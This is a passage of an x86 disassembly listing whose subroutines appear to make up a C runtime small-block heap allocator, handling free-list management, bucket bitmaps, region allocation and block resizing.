mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41E8AC: ; CODE XREF: sub_41E742+128j
; sub_41E742+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41E8C4: ; CODE XREF: sub_41E742+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41E8CC
; ---------------------------------------------------------------------------
loc_41E8C9: ; CODE XREF: sub_41E742+EDj
mov ebx, [ebp+arg_0]
loc_41E8CC: ; CODE XREF: sub_41E742+185j
cmp [ebp+var_C], 0
jnz short loc_41E8DA
cmp ebx, edx
jz loc_41E95B
loc_41E8DA: ; CODE XREF: sub_41E742+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41E95B
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41E932
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E921
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E921: ; CODE XREF: sub_41E742+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41E95B
; ---------------------------------------------------------------------------
loc_41E932: ; CODE XREF: sub_41E742+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E948
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E948: ; CODE XREF: sub_41E742+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41E95B: ; CODE XREF: sub_41E742+192j
; sub_41E742+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41EA66
mov eax, dword_4DD374
test eax, eax
jz loc_41EA58
mov ecx, dword_4DD36C
mov esi, dword_427068
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi
mov ecx, dword_4DD36C
mov eax, dword_4DD374
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_4DD374
mov ecx, dword_4DD36C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_4DD374
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_4DD374
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E9E9
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_4DD374
loc_41E9E9: ; CODE XREF: sub_41E742+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41EA58
push ebx
push 0
push dword ptr [eax+0Ch]
call esi
mov eax, dword_4DD374
push dword ptr [eax+10h]
push 0
push dword_4DD384
nop
call near ptr 27B0000h
mov eax, dword_4DD378
mov edx, dword_4DD37C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_4DD374
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41D670
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4DD378
cmp eax, dword_4DD374
jbe short loc_41EA4E
sub [ebp+arg_0], 14h
loc_41EA4E: ; CODE XREF: sub_41E742+306j
mov eax, dword_4DD37C
mov dword_4DD370, eax
loc_41EA58: ; CODE XREF: sub_41E742+234j
; sub_41E742+2ABj
mov eax, [ebp+arg_0]
mov dword_4DD36C, edi
mov dword_4DD374, eax
loc_41EA66: ; CODE XREF: sub_41E742+38j
; sub_41E742+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41E742 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EA6B proc near ; CODE XREF: sub_41BBE2+77p
; sub_41BEF3+18p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4DD378
mov edx, dword_4DD37C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41EAAB
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41EABB
; ---------------------------------------------------------------------------
loc_41EAAB: ; CODE XREF: sub_41EA6B+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41EABB: ; CODE XREF: sub_41EA6B+3Ej
mov eax, dword_4DD370
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41EAE2
loc_41EAC9: ; CODE XREF: sub_41EA6B+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EAE2
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41EAC9
loc_41EAE2: ; CODE XREF: sub_41EA6B+5Cj
; sub_41EA6B+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41EB60
mov ebx, edx
loc_41EAE9: ; CODE XREF: sub_41EA6B+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41EB05
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EB03
add ebx, 14h
jmp short loc_41EAE9
; ---------------------------------------------------------------------------
loc_41EB03: ; CODE XREF: sub_41EA6B+91j
cmp ebx, eax
loc_41EB05: ; CODE XREF: sub_41EA6B+83j
jnz short loc_41EB60
loc_41EB07: ; CODE XREF: sub_41EA6B+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41EB1D
cmp dword ptr [ebx+8], 0
jnz short loc_41EB1A
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41EB07
; ---------------------------------------------------------------------------
loc_41EB1A: ; CODE XREF: sub_41EA6B+A5j
cmp ebx, [ebp+var_4]
loc_41EB1D: ; CODE XREF: sub_41EA6B+9Fj
jnz short loc_41EB45
mov ebx, edx
loc_41EB21: ; CODE XREF: sub_41EA6B+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41EB35
cmp dword ptr [ebx+8], 0
jnz short loc_41EB33
add ebx, 14h
jmp short loc_41EB21
; ---------------------------------------------------------------------------
loc_41EB33: ; CODE XREF: sub_41EA6B+C1j
cmp ebx, eax
loc_41EB35: ; CODE XREF: sub_41EA6B+BBj
jnz short loc_41EB45
call sub_41ED74
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41EB59
loc_41EB45: ; CODE XREF: sub_41EA6B:loc_41EB1Dj
; sub_41EA6B:loc_41EB35j
push ebx
call sub_41EE25
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41EB60
loc_41EB59: ; CODE XREF: sub_41EA6B+D8j
xor eax, eax
jmp loc_41ED6F
; ---------------------------------------------------------------------------
loc_41EB60: ; CODE XREF: sub_41EA6B+7Aj
; sub_41EA6B:loc_41EB05j ...
mov dword_4DD370, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41EB87
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EBBE
loc_41EB87: ; CODE XREF: sub_41EA6B+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41EBBB
loc_41EBA4: ; CODE XREF: sub_41EA6B+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41EBA4
loc_41EBBB: ; CODE XREF: sub_41EA6B+137j
mov edx, [ebp+var_4]
loc_41EBBE: ; CODE XREF: sub_41EA6B+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41EBE7
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41EBE7: ; CODE XREF: sub_41EA6B+16Dj
; sub_41EA6B+183j
test ecx, ecx
jl short loc_41EBF0
shl ecx, 1
inc edi
jmp short loc_41EBE7
; ---------------------------------------------------------------------------
loc_41EBF0: ; CODE XREF: sub_41EA6B+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41EC0D
push 3Fh
pop esi
loc_41EC0D: ; CODE XREF: sub_41EA6B+19Dj
cmp esi, edi
jz loc_41ED22
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41EC7E
cmp edi, 20h
jge short loc_41EC4D
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41EC7B
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41EC7E
; ---------------------------------------------------------------------------
loc_41EC4D: ; CODE XREF: sub_41EA6B+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41EC7B
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41EC7E
; ---------------------------------------------------------------------------
loc_41EC7B: ; CODE XREF: sub_41EA6B+1D6j
; sub_41EA6B+203j
mov ebx, [ebp+arg_0]
loc_41EC7E: ; CODE XREF: sub_41EA6B+1B0j
; sub_41EA6B+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41ED2E
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41ED1F
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41ECF0
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41ECDE
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41ECDE: ; CODE XREF: sub_41EA6B+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41ED1F
; ---------------------------------------------------------------------------
loc_41ECF0: ; CODE XREF: sub_41EA6B+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41ED09
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41ED09: ; CODE XREF: sub_41EA6B+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41ED1F: ; CODE XREF: sub_41EA6B+24Ej
; sub_41EA6B+283j
mov ecx, [ebp+var_8]
loc_41ED22: ; CODE XREF: sub_41EA6B+1A4j
test ecx, ecx
jz short loc_41ED31
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41ED31
; ---------------------------------------------------------------------------
loc_41ED2E: ; CODE XREF: sub_41EA6B+229j
mov ecx, [ebp+var_8]
loc_41ED31: ; CODE XREF: sub_41EA6B+2B9j
; sub_41EA6B+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41ED67
cmp ebx, dword_4DD374
jnz short loc_41ED67
mov ecx, [ebp+var_4]
cmp ecx, dword_4DD36C
jnz short loc_41ED67
and dword_4DD374, 0
loc_41ED67: ; CODE XREF: sub_41EA6B+2E0j
; sub_41EA6B+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41ED6F: ; CODE XREF: sub_41EA6B+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41EA6B endp
; =============== S U B R O U T I N E =======================================
sub_41ED74 proc near ; CODE XREF: sub_41EA6B+CCp
mov eax, dword_4DD378
mov ecx, dword_4DD368
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41EDB7
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_4DD37C
push edi
push dword_4DD384
nop
call near ptr 2840000h
cmp eax, edi
jz short loc_41EE07
add dword_4DD368, 10h
mov dword_4DD37C, eax
mov eax, dword_4DD378
loc_41EDB7: ; CODE XREF: sub_41ED74+11j
mov ecx, dword_4DD37C
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_4DD384
lea esi, [ecx+eax*4]
call near ptr 27C0000h
nop
cmp eax, edi
mov [esi+10h], eax
jz short loc_41EE07
push 4
push 2000h
push 100000h
push edi
nop
call near ptr 2660559h
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41EE0B
push dword ptr [esi+10h]
push edi
push dword_4DD384
call near ptr 27B0000h
nop
loc_41EE07: ; CODE XREF: sub_41ED74+30j
; sub_41ED74+67j
xor eax, eax
jmp short loc_41EE22
; ---------------------------------------------------------------------------
loc_41EE0B: ; CODE XREF: sub_41ED74+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_4DD378
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41EE22: ; CODE XREF: sub_41ED74+95j
pop edi
pop esi
retn
sub_41ED74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE25 proc near ; CODE XREF: sub_41EA6B+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41EE37: ; CODE XREF: sub_41EE25+19j
test eax, eax
jl short loc_41EE40
shl eax, 1
inc ebx
jmp short loc_41EE37
; ---------------------------------------------------------------------------
loc_41EE40: ; CODE XREF: sub_41EE25+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41EE55: ; CODE XREF: sub_41EE25+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41EE55
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
nop
call near ptr 2660559h
test eax, eax
jnz short loc_41EE88
or eax, 0FFFFFFFFh
jmp loc_41EF1B
; ---------------------------------------------------------------------------
loc_41EE88: ; CODE XREF: sub_41EE25+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41EECE
lea eax, [edi+10h]
loc_41EE95: ; CODE XREF: sub_41EE25+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41EE95
loc_41EECE: ; CODE XREF: sub_41EE25+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41EF0B
or [eax+4], edi
loc_41EF0B: ; CODE XREF: sub_41EE25+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41EF1B: ; CODE XREF: sub_41EE25+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41EE25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EF20 proc near ; CODE XREF: sub_41BBE2+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41F0CE
test bl, 1
jnz loc_41F0C7
add ebx, ecx
cmp esi, ebx
jg loc_41F0C7
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41EF97
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41EF97: ; CODE XREF: sub_41EF20+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41EFE7
cmp ecx, 20h
jnb short loc_41EFC3
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41EFE7
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41EFE7
; ---------------------------------------------------------------------------
loc_41EFC3: ; CODE XREF: sub_41EF20+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41EFE7
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41EFE7: ; CODE XREF: sub_41EF20+7Dj
; sub_41EF20+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41F0B5
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41F021
push 3Fh
pop edi
loc_41F021: ; CODE XREF: sub_41EF20+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41F0A3
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41F07A
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41F06D
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41F06D: ; CODE XREF: sub_41EF20+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41F09F
; ---------------------------------------------------------------------------
loc_41F07A: ; CODE XREF: sub_41EF20+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41F090
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41F090: ; CODE XREF: sub_41EF20+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41F09F: ; CODE XREF: sub_41EF20+158j
shr edx, cl
or [eax], edx
loc_41F0A3: ; CODE XREF: sub_41EF20+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41F0B8
; ---------------------------------------------------------------------------
loc_41F0B5: ; CODE XREF: sub_41EF20+E5j
mov edx, [ebp+arg_4]
loc_41F0B8: ; CODE XREF: sub_41EF20+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41F20E
; ---------------------------------------------------------------------------
loc_41F0C7: ; CODE XREF: sub_41EF20+52j
; sub_41EF20+5Cj
xor eax, eax
jmp loc_41F211
; ---------------------------------------------------------------------------
loc_41F0CE: ; CODE XREF: sub_41EF20+49j
jge loc_41F20E
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41F0F9
push 3Fh
pop esi
loc_41F0F9: ; CODE XREF: sub_41EF20+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41F188
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41F112
push 3Fh
pop esi
loc_41F112: ; CODE XREF: sub_41EF20+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41F161
cmp esi, 20h
jnb short loc_41F13D
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41F15E
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41F15E
; ---------------------------------------------------------------------------
loc_41F13D: ; CODE XREF: sub_41EF20+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41F15E
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41F15E: ; CODE XREF: sub_41EF20+214j
; sub_41EF20+21Bj ...
mov ebx, [ebp+arg_4]
loc_41F161: ; CODE XREF: sub_41EF20+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41F188
push 3Fh
pop esi
loc_41F188: ; CODE XREF: sub_41EF20+1DDj
; sub_41EF20+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41F205
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41F1DC
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41F1CF
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41F1CF: ; CODE XREF: sub_41EF20+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41F201
; ---------------------------------------------------------------------------
loc_41F1DC: ; CODE XREF: sub_41EF20+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41F1F2
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41F1F2: ; CODE XREF: sub_41EF20+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41F201: ; CODE XREF: sub_41EF20+2BAj
shr edx, cl
or [eax], edx
loc_41F205: ; CODE XREF: sub_41EF20+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41F20E: ; CODE XREF: sub_41EF20+1A2j
; sub_41EF20:loc_41F0CEj
push 1
pop eax
loc_41F211: ; CODE XREF: sub_41EF20+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41EF20 endp
; =============== S U B R O U T I N E =======================================
sub_41F216 proc near ; CODE XREF: sub_41F50E:loc_41F6DDp
cmp dword_43AE60, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41F22A
mov esi, offset off_43AE50
jmp short loc_41F247
; ---------------------------------------------------------------------------
loc_41F22A: ; CODE XREF: sub_41F216+Bj
push 2020h
push 0
push dword_4DD384
nop
call near ptr 27C0000h
mov esi, eax
test esi, esi
jz loc_41F353
loc_41F247: ; CODE XREF: sub_41F216+12j
mov ebp, dword_427064
push 4
push 2000h
push 400000h
push 0
call ebp
mov edi, eax
test edi, edi
jz loc_41F33C
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp
test eax, eax
jz loc_41F32E
mov eax, offset off_43AE50
cmp esi, eax
jnz short loc_41F2A6
cmp off_43AE50, 0
jnz short loc_41F296
mov off_43AE50, eax
loc_41F296: ; CODE XREF: sub_41F216+79j
cmp off_43AE54, 0
jnz short loc_41F2BB
mov off_43AE54, eax
jmp short loc_41F2BB
; ---------------------------------------------------------------------------
loc_41F2A6: ; CODE XREF: sub_41F216+70j
mov [esi], eax
mov eax, off_43AE54
mov [esi+4], eax
mov off_43AE54, esi
mov eax, [esi+4]
mov [eax], esi
loc_41F2BB: ; CODE XREF: sub_41F216+87j
; sub_41F216+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41F2DD: ; CODE XREF: sub_41F216+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41F2DD
push ebx
push 0
push edi
call sub_41BF70
add esp, 0Ch
loc_41F306: ; CODE XREF: sub_41F216+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41F32A
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41F306
; ---------------------------------------------------------------------------
loc_41F32A: ; CODE XREF: sub_41F216+F7j
mov eax, esi
jmp short loc_41F355
; ---------------------------------------------------------------------------
loc_41F32E: ; CODE XREF: sub_41F216+63j
push 8000h
push 0
push edi
call near ptr 26606FEh
nop
loc_41F33C: ; CODE XREF: sub_41F216+4Bj
cmp esi, offset off_43AE50
jz short loc_41F353
push esi
push 0
push dword_4DD384
nop
call near ptr 27B0000h
loc_41F353: ; CODE XREF: sub_41F216+2Bj
; sub_41F216+12Cj
xor eax, eax
loc_41F355: ; CODE XREF: sub_41F216+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41F216 endp
; =============== S U B R O U T I N E =======================================
sub_41F35A proc near ; CODE XREF: sub_41F3B0+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call near ptr 26606FEh
nop
cmp off_43CE70, esi
jnz short loc_41F37F
mov eax, [esi+4]
mov off_43CE70, eax
loc_41F37F: ; CODE XREF: sub_41F35A+1Bj
